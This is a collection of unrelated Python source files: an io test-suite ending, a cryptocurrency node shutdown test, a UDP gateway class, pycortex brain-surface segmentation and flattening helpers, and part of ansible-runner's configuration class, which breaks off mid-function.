StatefulIncrementalDecoderTest, CIncrementalNewlineDecoderTest, PyIncrementalNewlineDecoderTest, CTextIOWrapperTest, PyTextIOWrapperTest, CMiscIOTest, PyMiscIOTest, CSignalsTest, PySignalsTest, ) # Put the namespaces of the IO module we are testing and some useful mock # classes in the __dict__ of each test. mocks = (MockRawIO, MisbehavedRawIO, MockFileIO, CloseFailureIO, MockNonBlockWriterIO, MockUnseekableIO, MockRawIOWithoutRead, SlowFlushRawIO) all_members = io.__all__ + ["IncrementalNewlineDecoder"] c_io_ns = {name : getattr(io, name) for name in all_members} py_io_ns = {name : getattr(pyio, name) for name in all_members} globs = globals() c_io_ns.update((x.__name__, globs["C" + x.__name__]) for x in mocks) py_io_ns.update((x.__name__, globs["Py" + x.__name__]) for x in mocks) # Avoid turning open into a bound method. py_io_ns["open"] = pyio.OpenWrapper for test in tests: if test.__name__.startswith("C"): for name, obj in c_io_ns.items(): setattr(test, name, obj) elif test.__name__.startswith("Py"): for name, obj in py_io_ns.items(): setattr(test, name, obj) suite = unittest.TestSuite([unittest.makeSuite(test) for test in tests]) return suite if __name__ == "__main__": unittest.main()
feature_shutdown.py
#!/usr/bin/env python3 # Copyright (c) 2018-2020 The Wflscoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test wflscoind shutdown.""" from test_framework.test_framework import WflscoinTestFramework from test_framework.util import assert_equal, get_rpc_proxy from threading import Thread def test_long_call(node): block = node.waitfornewblock() assert_equal(block['height'], 0) class ShutdownTest(WflscoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 self.supports_cli = False def run_test(self): node = get_rpc_proxy(self.nodes[0].url, 1, timeout=600, coveragedir=self.nodes[0].coverage_dir) # Force connection establishment by executing a dummy command. node.getblockcount() Thread(target=test_long_call, args=(node,)).start() # Wait until the server is executing the above `waitfornewblock`. self.wait_until(lambda: len(self.nodes[0].getrpcinfo()['active_commands']) == 2) # Wait 1 second after requesting shutdown but not before the `stop` call # finishes. This is to ensure event loop waits for current connections # to close. self.stop_node(0, wait=1000) if __name__ == '__main__': ShutdownTest().main()
stargate.py
# -*- coding: utf-8 -*- import time from threading import Thread from typing import Generic, TypeVar, Optional, List from udp.ba import Data from udp.mtp import DataType, Package from udp import Connection, ConnectionState, ActiveConnection from udp import Hub from udp import GateDelegate, Docker from udp import StarGate from udp import PackageDocker class DmtpDocker(PackageDocker): @property # Override def hub(self) -> Optional[Hub]: gate = self.gate if isinstance(gate, UDPGate): return gate.hub H = TypeVar('H') class UDPGate(StarGate, Generic[H]): def __init__(self, delegate: GateDelegate): super().__init__(delegate=delegate) self.__hub: H = None # running thread self.__thread: Optional[Thread] = None self.__running = False @property def hub(self) -> H: return self.__hub @hub.setter def hub(self, h: H): self.__hub = h @property def running(self) -> bool: return self.__running def start(self): self.__force_stop() self.__running = True t = Thread(target=self.run) self.__thread = t t.start() def __force_stop(self): self.__running = False t: Thread = self.__thread if t is not None: # waiting 2 seconds for stopping the thread self.__thread = None t.join(timeout=2.0) def stop(self): self.__force_stop() def run(self): self.__running = True while self.running: if not self.process(): self._idle() # noinspection PyMethodMayBeStatic def _idle(self): time.sleep(0.125) # Override def process(self) -> bool: hub = self.hub from udp import Hub assert isinstance(hub, Hub) incoming = hub.process() outgoing = super().process() return incoming or outgoing # Override def get_connection(self, remote: tuple, local: Optional[tuple]) -> Optional[Connection]: hub = self.hub from udp import Hub assert isinstance(hub, Hub) return hub.connect(remote=remote, local=local) # Override def _create_docker(self, remote: tuple, local: Optional[tuple], advance_party: List[bytes]) -> Optional[Docker]: # TODO: check data format before creating docker return DmtpDocker(remote=remote, local=None, gate=self) # Override def _cache_advance_party(self, data: bytes, source: tuple, destination: Optional[tuple], connection: Connection) -> List[bytes]: # TODO: cache the advance party before decide which docker to use if data is None: return [] else: return [data] # Override def _clear_advance_party(self, source: tuple, destination: Optional[tuple], connection: Connection): # TODO: remove advance party for this connection pass # Override def _heartbeat(self, connection: Connection): # let the client to do the job if isinstance(connection, ActiveConnection): super()._heartbeat(connection=connection) def __kill(self, remote: tuple = None, local: Optional[tuple] = None, connection: Connection = None): # if conn is null, disconnect with (remote, local); # else, disconnect with connection when local address matched. hub = self.hub assert isinstance(hub, Hub), 'hub error: %s' % hub conn = hub.disconnect(remote=remote, local=local, connection=connection) # if connection is not activated, means it's a server connection, # remove the docker too. if conn is not None and not isinstance(connection, ActiveConnection): # remove docker for server connection remote = conn.remote_address local = conn.local_address self._remove_docker(remote=remote, local=local, docker=None) # Override def connection_state_changed(self, previous: ConnectionState, current: ConnectionState, connection: Connection): super().connection_state_changed(previous=previous, current=current, connection=connection) self.info('connection state changed: %s -> %s, %s' % (previous, current, connection)) if current == ConnectionState.ERROR: self.error('remove error connection: %s' % connection) self.__kill(connection=connection) # Override def connection_error(self, error, data: Optional[bytes], source: Optional[tuple], destination: Optional[tuple], connection: Optional[Connection]): if connection is None: # failed to receive data self.__kill(remote=source, local=destination) else: # failed to send data self.__kill(remote=destination, local=source, connection=connection) def get_docker(self, remote: tuple, local: Optional[tuple]) -> Optional[PackageDocker]: worker = self._get_docker(remote=remote, local=local) if worker is None: worker = self._create_docker(remote=remote, local=local, advance_party=[]) assert worker is not None, 'failed to create docker: %s, %s' % (remote, local) self._put_docker(docker=worker) return worker def send_package(self, pack: Package, source: Optional[tuple], destination: tuple): worker = self.get_docker(remote=destination, local=source) if worker is not None: worker.send_package(pack=pack) def send_command(self, body: bytes, source: Optional[tuple], destination: tuple): pack = Package.new(data_type=DataType.COMMAND, body=Data(buffer=body)) self.send_package(pack=pack, source=source, destination=destination) def send_message(self, body: bytes, source: Optional[tuple], destination: tuple): pack = Package.new(data_type=DataType.MESSAGE, body=Data(buffer=body)) self.send_package(pack=pack, source=source, destination=destination) @classmethod def info(cls, msg: str): now = time.time() prefix = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(now)) print('[%s] %s' % (prefix, msg)) @classmethod def error(cls, msg: str): print('[ERROR] ', msg)
segment.py
"""Controls functions for segmentation of white/gray matter and other things in the brain. """ import os import time import shlex import warnings import numpy as np import subprocess as sp from builtins import input import multiprocessing as mp from . import formats from . import blender from . import freesurfer from . import options from .database import db from .freesurfer import autorecon as run_freesurfer_recon from .freesurfer import import_subj as import_freesurfer_subject slim_path = options.config.get('dependency_paths', 'slim') def init_subject(subject, filenames, do_import_subject=False, **kwargs): """Run the first initial segmentation for a subject's anatomy (in Freesurfer). This function creates a Freesurfer subject and runs autorecon-all, then (optionally) imports the subject into the pycortex database. NOTE: This function requires a functional Freesurfer install! Also, still can't handle T2 weighted anatomical volume input. Please use Freesurfer directly (and then import) for advanced recon-all input options; this is just a convenience function. Parameters ---------- subject : str The name of the subject (this subject is created in the Freesurfer SUBJECTS_DIR) filenames : str or list Freesurfer-compatible filename(s) for the anatomical image(s). This can be the first dicom file of a series of dicoms, a nifti file, an mgz file, etc. do_import_subject : bool Whether to import the Freesurfer-processed subject (without further) editing) into pycortex. False by default, since we recommend editing (or at least inspecting) the brain mask and white matter segmentations prior to importing into pycortex. kwargs : keyword arguments passed to cortex.freesurfer.autorecon() useful ones: parallel=True, n_cores=4 (or more, if you have them) """ if 'run_all' in kwargs: warnings.warn('`run_all` is deprecated - please use do_import_subject keyword arg instead!') do_import_subject = kwargs.pop('run_all') if not isinstance(filenames, (list, tuple)): filenames = [filenames] filenames = ' '.join(['-i %s'%f for f in filenames]) cmd = "recon-all {fname} -s {subj}".format(subj=subject, fname=filenames) print("Calling:\n%{}".format(cmd)) sp.call(shlex.split(cmd)) run_freesurfer_recon(subject, "all", **kwargs) if do_import_subject: import_freesurfer_subject(subject) def edit_segmentation(subject, volumes=('aseg.mgz', 'brainmask.mgz', 'wm.mgz'), surfaces=('lh.smoothwm', 'rh.smoothwm', 'lh.pial', 'rh.pial'), freesurfer_subject_dir=None): """Edit automatic segmentation results using freeview Opens an instance of freeview with relevant files loaded. Parameters ---------- subject : str freesurfer subject identifier. Note that subject must be in your SUBJECTS_DIR for freesurfer. If the environment variable SUBJECTS_DIR is not set in your shell, then the location of the directory must be specified in `freesurfer_subject_dir`. volumes : tuple | list Names of volumes to load in freeview surfaces : tuple | list Names of surfaces to load in freeview freesurfer_subject_dir : str | None Location of freesurfer subjects directory. If None, defaults to value of SUBJECTS_DIR environment variable. """ if freesurfer_subject_dir is None: freesurfer_subject_dir = os.environ['SUBJECTS_DIR'] cmaps = {'brain': 'grayscale', 'aseg': 'lut', 'brainmask': 'gray', 'wm': 'heat', 'smoothwm': 'yellow', 'white': 'green', 'pial': 'blue' } opacity={'brain': 1.0, 'aseg': 0.4, 'brainmask': 1.0, 'wm': 0.4, } vols = [] for v in volumes: vpath = os.path.join(freesurfer_subject_dir, subject, 'mri', v) vv, _ = os.path.splitext(v) vextra = ':colormap={cm}:opacity={op:0.2f}'.format(cm=cmaps[vv], op=opacity[vv]) vols.append(vpath + vextra) surfs = [] for s in surfaces: spath = os.path.join(freesurfer_subject_dir, subject, 'surf', s) _, ss = s.split('.') sextra = ':edgecolor={col}'.format(col=cmaps[ss]) surfs.append(spath + sextra) cmd = ["freeview", '-v'] + vols + ['-f'] + surfs print("Calling: {}".format(' '.join(cmd))) sp.call(cmd) print("If you have edited the white matter surface, you should run:\n") print(" `cortex.segment.run_freesurfer_recon('%s', 'wm')`\n"%subject) print("If you have edited the brainmask (pial surface), you should run:\n") print(" `cortex.segment.run_freesurfer_recon('%s', 'pia')`"%subject) def cut_surface(cx_subject, hemi, name='flatten', fs_subject=None, data=None, freesurfer_subject_dir=None, flatten_with='freesurfer', do_import_subject=True, blender_cmd=None, **kwargs): """Initializes an interface to cut the segmented surface for flatmapping. This function creates or opens a blend file in your filestore which allows surfaces to be cut along hand-defined seams. Blender will automatically open the file. After edits are made, remember to save the file, then exit Blender. The surface will be automatically extracted from blender then run through the mris_flatten command in freesurfer. The flatmap will be imported once that command finishes if `do_import_subject` is True (default value). Parameters ---------- cx_subject : str Name of the subject to edit (pycortex subject ID) hemi : str Which hemisphere to flatten. Should be "lh" or "rh" name : str, optional String name of the current flatten attempt. Defaults to "flatten" data : Dataview A data view object to display on the surface as a cutting guide. fs_subject : str Name of Freesurfer subject (if different from pycortex subject) None defaults to `cx_subject` freesurfer_subject_dir : str Name of Freesurfer subject directory. None defaults to SUBJECTS_DIR environment varible flatten_with : str 'freesurfer' or 'SLIM' - 'freesurfer' (default) uses freesurfer's `mris_flatten` function to flatten the cut surface. 'SLIM' uses the SLIM algorithm, which takes much less time but tends to leave more distortions in the flatmap. SLIM is an optional dependency, and must be installed to work; clone the code (https://github.com/MichaelRabinovich/Scalable-Locally-Injective-Mappings) to your computer and set the slim dependency path in your pycortex config file to point to </path/to/your/slim/install>/ReweightedARAP do_import_subject : bool set option to automatically import flatmaps when both are completed (if set to false, you must import later with `cortex.freesurfer.import_flat()`) """ if fs_subject is None: fs_subject = cx_subject opts = "[hemi=%s,name=%s]"%(hemi, name) fname = db.get_paths(cx_subject)['anats'].format(type='cutsurf', opts=opts, ext='blend') # Double-check that fiducial and inflated vertex counts match # (these may not match if a subject is initially imported from freesurfer to pycortex, # and then edited further for a better segmentation and not re-imported) ipt, ipoly, inrm = freesurfer.get_surf(fs_subject, hemi, 'inflated') fpt, fpoly, fnrm = freesurfer.get_surf(fs_subject, hemi, 'fiducial') if ipt.shape[0] != fpt.shape[0]: raise ValueError("Please re-import subject - fiducial and inflated vertex counts don't match!") else: print('Vert check ok!') if not os.path.exists(fname): blender.fs_cut(fname, fs_subject, hemi, freesurfer_subject_dir) # Add localizer data to facilitate cutting if data is not None: blender.add_cutdata(fname, data, name=data.description) if blender_cmd is None: blender_cmd = options.config.get('dependency_paths', 'blender') # May be redundant after blender.fs_cut above... if os.path.exists(fname): blender._legacy_blender_backup(fname, blender_path=blender_cmd) sp.call([blender_cmd, fname]) patchpath = freesurfer.get_paths(fs_subject, hemi, freesurfer_subject_dir=freesurfer_subject_dir) patchpath = patchpath.format(name=name) blender.write_patch(fname, patchpath, blender_path=blender_cmd) if flatten_with == 'freesurfer': done = freesurfer.flatten(fs_subject, hemi, patch=name, freesurfer_subject_dir=freesurfer_subject_dir, **kwargs) if not done: # If flattening is aborted, skip the rest of this function # (Do not attempt to import completed flatmaps) return if do_import_subject: # Check to see if both hemispheres have been flattened other = freesurfer.get_paths(fs_subject, "lh" if hemi == "rh" else "rh", freesurfer_subject_dir=freesurfer_subject_dir) other = other.format(name=name+".flat") # If so, go ahead and import subject if os.path.exists(other): freesurfer.import_flat(fs_subject, name, cx_subject=cx_subject, flat_type='freesurfer', freesurfer_subject_dir=freesurfer_subject_dir) elif flatten_with == 'SLIM': done = flatten_slim(fs_subject, hemi, patch=name, freesurfer_subject_dir=freesurfer_subject_dir, **kwargs) if not done: # If flattening is aborted, skip the rest of this function # (Do not attempt to import completed flatmaps) return if do_import_subject: other = freesurfer.get_paths(fs_subject, "lh" if hemi == "rh" else "rh", type='slim', freesurfer_subject_dir=freesurfer_subject_dir) other = other.format(name=name) # If so, go ahead and import subject if os.path.exists(other): freesurfer.import_flat(fs_subject, name, cx_subject=cx_subject, flat_type='slim', freesurfer_subject_dir=freesurfer_subject_dir) return def flatten_slim(subject, hemi, patch, n_iterations=20, freesurfer_subject_dir=None, slim_path=slim_path, do_flatten=None): """Flatten brain w/ slim object flattening Parameters ---------- subject : str freesurfer subject hemi : str 'lh' or 'rh' for left or right hemisphere patch : str name of patch, often "flatten" (obj file used here is {hemi}_{patch}.obj in the subject's freesurfer directory) freesurfer_subject_dir : str path to freesurfer subejct dir. Defaults to environment variable SUBJECTS_DIR slim_path : str path to SLIM flattening. Defaults to path specified in config file. """ if slim_path == 'None': slim_url = 'https://github.com/MichaelRabinovich/Scalable-Locally-Injective-Mappings' raise ValueError("Please download SLIM ({slim_url}) and set the path to it in the `slim` field\n" "in the `[dependency_paths]` section of your config file ({usercfg}) \n" "if you wish to use slim!".format(slim_url=slim_url, usercfg=options.usercfg)) if do_flatten is None: resp = input('Flattening with SLIM will take a few mins. Continue? (type y or n and press return)') do_flatten = resp.lower() in ('y', 'yes') if not do_flatten: print("Not flattening...") return # File paths if freesurfer_subject_dir is None: freesurfer_subject_dir = os.environ['SUBJECTS_DIR'] patchpath = freesurfer.get_paths(subject, hemi, freesurfer_subject_dir=freesurfer_subject_dir) patchpath = patchpath.format(name=patch) obj_in = patchpath.replace('.patch.3d', '.obj') obj_out = obj_in.replace('.obj', '_slim.obj') # Load freesurfer surface exported from blender pts, polys, _ = freesurfer.get_surf(subject, hemi, "patch", patch=patch, freesurfer_subject_dir=freesurfer_subject_dir) # Cull pts that are not in manifold pi = np.arange(len(pts)) pii = np.in1d(pi, polys.flatten()) idx = np.nonzero(pii)[0] pts_new = pts[idx] # Match indices in polys to new index for pts polys_new = np.vstack([np.searchsorted(idx, p) for p in polys.T]).T # save out obj file print("Writing input to SLIM: %s"%obj_in) formats.write_obj(obj_in, pts_new, polys_new) # Call slim to write new obj file print('Flattening with SLIM (will take a few minutes)...') slim_cmd = [slim_path, obj_in, obj_out, str(n_iterations)] print('Calling: {}'.format(' '.join(slim_cmd))) out = sp.check_output(slim_cmd) print("SLIM code wrote %s"%obj_out) # Load resulting obj file _, _, _, uv = formats.read_obj(obj_out, uv=True) uv = np.array(uv) # Re-center UV & scale to match scale of inflated brain. It is necessary # to re-scale the uv coordinates generated by SLIM, since they have # arbitrary units that don't match the scale of the inflated / # fiducial brains. uv -= uv.min(0) uv /= uv.max() uv -= (uv.max(0) / 2) infl_scale = np.max(np.abs(pts_new.min(0)-pts_new.max(0))) # This is a magic number based on the approximate scale of the flatmap # (created by freesurfer) to the inflated map in a couple other subjects. # For two hemispheres in two other subjects, it ranged from 1.37 to 1.5. # There doesn't seem to be a principled way to set this number, since the # flatmap is stretched and distorted anyway, and that stretch varies by # subject and by hemisphere. Note, tho,that this doesn't change # distortions, just the overall scale of the thing. So here we are. # ML 2018.07.05 extra_scale = 1.4 uv *= (infl_scale * extra_scale) # put back polys, etc that were missing pts_flat = pts.copy() pts_flat[idx, :2] = uv # Set z coords for the manifold vertices to 0 pts_flat[idx, 2] = 0 # Re-set scale for non-manifold vertices nz = pts_flat[:, 2] != 0 pts_flat[nz, 2] -= np.mean(pts_flat[nz, 2]) # Flip X axis for right hem (necessary?) if hemi=='rh': # Flip Y axis upside down pts_flat[:, 1] = -pts_flat[:, 1] pts_flat[:, 0] = -pts_flat[:, 0] # Modify output .obj file to reflect flattening #surfpath = os.path.join(freesurfer_subject_dir, subject, "surf", "flat_{hemi}.gii") #fname = surfpath.format(hemi=hemi) #print("Writing %s"%fname) formats.write_obj(obj_out.replace('_slim','.flat_slim'), pts=pts_flat, polys=polys) return def show_surface(subject, hemi, surface_type, patch=None, flatten_step=None, freesurfer_subject_dir=None): """ Parameters ---------- subject: str freesurfer subject name hemi: str 'lh' or 'rh' for left hemisphere or right hemisphere surface_type : str type of surface to show, e.g. 'patch', 'surf', etc if 'patch', patch name must be specified in patch kwarg patch: str name of patch, e.g. 'flatten.flat', 'flatten2.flat', etc """ meshlab_path = options.config.get('dependency_paths', 'meshlab') if meshlab_path == 'None': try: # exists in system but not available in config meshlab_path = sp.check_output('command -v meshlab', shell=True).strip() warnings.warn('Using system meshlab: %s'%meshlab_path) except sp.CalledProcessError: raise ValueError('You must have installed meshlab to call this function.') if freesurfer_subject_dir is None: freesurfer_subject_dir = os.environ['SUBJECTS_DIR'] if surface_type in ('inflated', 'fiducial'): input_type = 'surf' else: input_type = surface_type fpath = freesurfer.get_paths(subject, hemi, input_type, freesurfer_subject_dir=freesurfer_subject_dir) if not 'obj' in fpath: pts, polys, curv = freesurfer.get_surf(subject, hemi, surface_type, patch=patch, flatten_step=flatten_step, freesurfer_subject_dir=freesurfer_subject_dir) # TODO: use tempfile library here objf = '/tmp/temp_surf.obj' formats.write_obj(objf, pts, polys) else: objf = fpath.format(name=patch) # Call meshlab to display surface out = sp.check_output([meshlab_path, objf]) ### DEPRECATED ### def fix_wm(subject): """Initializes an interface to make white matter edits to the surface. This will open two windows -- a tkmedit window that makes the actual edits, as well as a mayavi window to display the surface. Clicking on the mayavi window will drop markers which can be loaded using the "Goto Save Point" button in tkmedit. If you wish to load the other hemisphere, simply close the mayavi window and the other hemisphere will pop up. Mayavi will stop popping up once the tkmedit window is closed. Once the tkmedit window is closed, a variety of autorecon options are available. When autorecon finishes, the new surfaces are immediately imported into the pycortex database. Parameters ---------- subject : str Name of the subject to edit """ warnings.warn("Deprecated! We recommend using edit_segmentation() and rerun_recon() instead of fix_wm() and fix_pia().") status = _cycle_surf(subject, "smoothwm") cmd = "tkmedit {subj} wm.mgz lh.smoothwm -aux brainmask.mgz -aux-surface rh.smoothwm" sp.call(shlex.split(cmd.format(subj=subject))) status.value = 0 resp = input("1) Run autorecon-wm?\n2) Run autorecon-cp?\n3) Do nothing?\n (Choose 1, 2, or 3)") if resp == "1": freesurfer.autorecon(subject, "wm") elif resp == "2": freesurfer.autorecon(subject, "cp") elif resp == "3": print("Doing nothing...") return import_freesurfer_subject(subject) def fix_pia(subject): """Initializes an interface to make pial surface edits. This function will open two windows -- a tkmedit window that makse the actual edits, as well as a mayavi window to display the surface. Clicking on the mayavi window will drop markers which can be loaded using the "Goto Save Point" button in tkmedit. If you wish to load the other hemisphere, simply close the mayavi window and the other hemisphere will pop up. Mayavi will stop popping up once the tkmedit window is closed. Once the tkmedit window is closed, a variety of autorecon options are available. When autorecon finishes, the new surfaces are immediately imported into the pycortex database. Parameters ---------- subject : str Name of the subject to edit """ warnings.warn("Deprecated! We recommend using edit_segmentation() and rerun_recon() instead of fix_wm() and fix_pia().") status = _cycle_surf(subject, "pial") cmd = "tkmedit {subj} brainmask.mgz lh.smoothwm -aux T1.mgz -aux-surface rh.smoothwm" sp.call(shlex.split(cmd.format(subj=subject))) status.value = 0 resp = input("1) Run autorecon-pia?\n2) Run autorecon-wm?\n3) Do nothing?\n (Choose 1, 2, or 3)") if resp == "1": freesurfer.autorecon(subject, "pia") elif resp == "2": freesurfer.autorecon(subject, "wm") elif resp == "3": print("Doing nothing...") return import_freesurfer_subject(subject) def _cycle_surf(subject, surf): status = mp.Value('b', 1) def cycle_surf(): idx, hemis = 0, ['lh', 'rh'] while status.value > 0: hemi = hemis[idx%len(hemis)] idx += 1 #HELLISH CODE FOLLOWS, I heavily apologize for this awful code #In order for this to work well, mayavi has to block until you close the window #Unfortunately, with IPython's event hook, mlab.show does not block anymore #There is no way to force mayavi to block, and hooking directly into backend vtk objects cause it to crash out #Thus, the only safe way is to call python using subprocess cmd = "python -m cortex.freesurfer {subj} {hemi} {surf}" sp.call(shlex.split(cmd.format(subj=subject, hemi=hemi, surf=surf))) proc = mp.Process(target=cycle_surf) proc.start() return status
runner_config.py
############################ # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # import os import re import pipes import threading import pexpect import stat import shlex import tempfile import logging from uuid import uuid4 from collections import Mapping #from distutils.spawn import find_executable from six import iteritems, string_types from ansible_runner import output from ansible_runner.exceptions import ConfigurationError from ansible_runner.loader import ArtifactLoader logger = logging.getLogger('ansible-runner') class RunnerConfig(object): """ A ``Runner`` configuration object that's meant to encapsulate the configuration used by the :py:mod:`ansible_runner.runner.Runner` object to launch and manage the invocation of ``ansible`` and ``ansible-playbook`` Typically this object is initialized for you when using the standard ``run`` interfaces in :py:mod:`ansible_runner.interface` but can be used to construct the ``Runner`` configuration to be invoked elsewhere. It can also be overridden to provide different functionality to the Runner object. :Example: >>> rc = RunnerConfig(...) >>> r = Runner(config=rc) >>> r.run() """ def __init__(self, private_data_dir=None, playbook=None, ident=uuid4(), inventory=None, roles_path=None, limit=None, module=None, module_args=None, verbosity=None, quiet=False, json_mode=False, artifact_dir=None, rotate_artifacts=0, host_pattern=None, binary=None, extravars=None, suppress_ansible_output=False, process_isolation=False, process_isolation_executable=None, process_isolation_path=None, process_isolation_hide_paths=None, process_isolation_show_paths=None, process_isolation_ro_paths=None, tags=None, skip_tags=None): self.private_data_dir = os.path.abspath(private_data_dir) self.ident = ident self.json_mode = json_mode self.playbook = playbook self.inventory = inventory self.roles_path = roles_path self.limit = limit self.module = module self.module_args = module_args self.host_pattern = host_pattern self.binary = binary self.rotate_artifacts = rotate_artifacts self.artifact_dir = artifact_dir or self.private_data_dir if self.ident is None: self.artifact_dir = os.path.join(self.artifact_dir, "artifacts") else: self.artifact_dir = os.path.join(self.artifact_dir, "artifacts", "{}".format(self.ident)) self.extra_vars = extravars self.process_isolation = process_isolation self.process_isolation_executable = process_isolation_executable self.process_isolation_path = process_isolation_path self.process_isolation_hide_paths = process_isolation_hide_paths self.process_isolation_show_paths = process_isolation_show_paths self.process_isolation_ro_paths = process_isolation_ro_paths self.verbosity = verbosity self.quiet = quiet self.suppress_ansible_output = suppress_ansible_output self.loader = ArtifactLoader(self.private_data_dir) self.tags = tags self.skip_tags = skip_tags def prepare(self): """ Performs basic checks and then properly invokes - prepare_inventory - prepare_env - prepare_command It's also responsible for wrapping the command with the proper ssh agent invocation and setting early ANSIBLE_ environment variables. """ # ansible_path = find_executable('ansible') # if ansible_path is None or not os.access(ansible_path, os.X_OK): # raise ConfigurationError("Ansible not found. Make sure that it is installed.") if self.private_data_dir is None: raise ConfigurationError("Runner Base Directory is not defined") if self.module is None and self.playbook is None: # TODO: ad-hoc mode, module and args raise ConfigurationError("Runner playbook or module is not defined") if self.module and self.playbook: raise ConfigurationError("Only one of playbook and module options are allowed") if not os.path.exists(self.artifact_dir): os.makedirs(self.artifact_dir) self.prepare_inventory() self.prepare_env() self.prepare_command() # write the SSH key data into a fifo read by ssh-agent if self.ssh_key_data: self.ssh_key_path = os.path.join(self.artifact_dir, 'ssh_key_data') self.open_fifo_write(self.ssh_key_path, self.ssh_key_data) self.command = self.wrap_args_with_ssh_agent(self.command, self.ssh_key_path) # Use local callback directory callback_dir = os.getenv('AWX_LIB_DIRECTORY') if callback_dir is None: callback_dir = os.path.join(os.path.split(os.path.abspath(__file__))[0], "callbacks") python_path = os.getenv('PYTHONPATH', '') if python_path: python_path += ":" self.env['ANSIBLE_CALLBACK_PLUGINS'] = callback_dir if 'AD_HOC_COMMAND_ID' in self.env: self.env['ANSIBLE_STDOUT_CALLBACK'] = 'minimal' else: self.env['ANSIBLE_STDOUT_CALLBACK'] = 'awx_display' self.env['ANSIBLE_RETRY_FILES_ENABLED'] = 'False' self.env['ANSIBLE_HOST_KEY_CHECKING'] = 'False' self.env['AWX_ISOLATED_DATA_DIR'] = self.artifact_dir self.env['PYTHONPATH'] = python_path + callback_dir + ':' if self.roles_path: self.env['ANSIBLE_ROLES_PATH'] = ':'.join(self.roles_path) if self.process_isolation: self.command = self.wrap_args_with_process_isolation(self.command) def prepare_inventory(self): """ Prepares the inventory default under ``private_data_dir`` if it's not overridden by the constructor. """ if self.inventory is None: self.inventory = os.path.join(self.private_data_dir, "inventory") def prepare_env(self): """ Manages reading environment metadata files under ``private_data_dir`` and merging/updating with existing values so the :py:class:`ansible_runner.runner.Runner` object can read and use them easily """ try: passwords = self.loader.load_file('env/passwords', Mapping) self.expect_passwords = { re.compile(pattern, re.M): password for pattern, password in iteritems(passwords) } except ConfigurationError: output.debug('Not loading passwords') self.expect_passwords = dict() self.expect_passwords[pexpect.TIMEOUT] = None self.expect_passwords[pexpect.EOF] = None try: # seed env with existing shell env self.env = os.environ.copy() envvars = self.loader.load_file('env/envvars', Mapping) if envvars: self.env.update({k:str(v) for k, v in envvars.items()}) except ConfigurationError: output.debug("Not loading environment vars") # Still need to pass default environment to pexpect self.env = os.environ.copy() # extravars dict passed in via the interface API takes precedence over on-disk if not self.extra_vars and self.loader.isfile('env/extravars'): self.extra_vars = self.loader.abspath('env/extravars') try: self.settings = self.loader.load_file('env/settings', Mapping) except ConfigurationError: output.debug("Not loading settings") self.settings = dict() try: self.ssh_key_data = self.loader.load_file('env/ssh_key', string_types) except ConfigurationError: output.debug("Not loading ssh key") self.ssh_key_data = None self.idle_timeout = self.settings.get('idle_timeout', None) self.job_timeout = self.settings.get('job_timeout', None) self.pexpect_timeout = self.settings.get('pexpect_timeout', 5) self.pexpect_use_poll = self.settings.get('pexpect_use_poll', True) self.suppress_ansible_output = self.settings.get('suppress_ansible_output', self.quiet) if 'AD_HOC_COMMAND_ID' in self.env or not os.path.exists(os.path.join(self.private_data_dir, 'project')): self.cwd = self.private_data_dir else: self.cwd = os.path.join(self.private_data_dir, 'project') def prepare_command(self): """ Determines if the literal ``ansible`` or ``ansible-playbook`` commands are given and if not calls :py:meth:`ansible_runner.runner_config.RunnerConfig.generate_ansible_command` """ try: self.command = self.loader.load_file('args', string_types) except ConfigurationError: self.command = self.generate_ansible_command() def generate_ansible_command(self): """ Given that the ``RunnerConfig`` preparation methods have been run to gather the inputs this method will generate the ``ansible`` or ``ansible-playbook`` command that will be used by the :py:class:`ansible_runner.runner.Runner` object to start the process """ if self.binary is not None: base_command = self.binary elif self.module is not None: base_command = 'ansible' else: base_command = 'ansible-playbook' exec_list = [base_command] try: cmdline_args = self.loader.load_file('env/cmdline', string_types) args = shlex.split(cmdline_args.decode('utf-8')) exec_list.extend(args) except ConfigurationError: pass exec_list.append("-i") exec_list.append(self.inventory) if self.limit is not None: exec_list.append("--limit") exec_list.append(self.limit) if isinstance(self.extra_vars, dict) and self.extra_vars: exec_list.extend( [ '-e', '\'%s\'' % ' '.join( ["{}=\"{}\"".format(k, self.extra_vars[k]) for k in self.extra_vars] ) ] ) elif self.extra_vars: exec_list.extend(['-e', '@%s' % self.extra_vars]) if self.verbosity: v = 'v' * self.verbosity exec_list.append('-%s' % v) if self.tags: exec_list.extend(['--tags', '%s' % self.tags]) if self.skip_tags: exec_list.extend(['--skip-tags', '%s' % self.skip_tags]) # Other parameters if base_command.endswith('ansible-playbook'): exec_list.append(self.playbook) elif base_command.endswith('ansible'): exec_list.append("-m") exec_list.append(self.module) if self.module_args is not None: exec_list.append("-a") exec_list.append(self.module_args) if self.host_pattern is not None: exec_list.append(self.host_pattern) return exec_list def build_process_isolation_temp_dir(self): ''' Create a temporary directory for process isolation to use. ''' path = tempfile.mkdtemp(prefix='ansible_runner_pi_', dir=self.process_isolation_path) os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR) return path def wrap_args_with_process_isolation(self, args): ''' Wrap existing command line with bwrap to restrict access to: - self.process_isolation_path (generally, /tmp) (except for own /tmp files) ''' cwd = os.path.realpath(self.cwd) pi_temp_dir = self.build_process_isolation_temp_dir() new_args = [self.process_isolation_executable or 'bwrap', '--unshare-pid', '--dev-bind', '/', '/', '--proc', '/proc'] for path in sorted(set(self.process_isolation_hide_paths or [])): if not os.path.exists(path): logger.debug('hide path not found: {0}'.format(path)) continue path = os.path.realpath(path) if os.path.isdir(path): new_path = tempfile.mkdtemp(dir=pi_temp_dir) os.chmod(new_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR) else: handle, new_path = tempfile.mkstemp(dir=pi_temp_dir) os.close(handle) os.chmod(new_path, stat.S_IRUSR | stat.S_IWUSR) new_args.extend(['--bind', '{0}'.format(new_path), '{0}'.format(path)]) if self.private_data_dir: show_paths = [self.private_data_dir] else: show_paths = [cwd] for path in 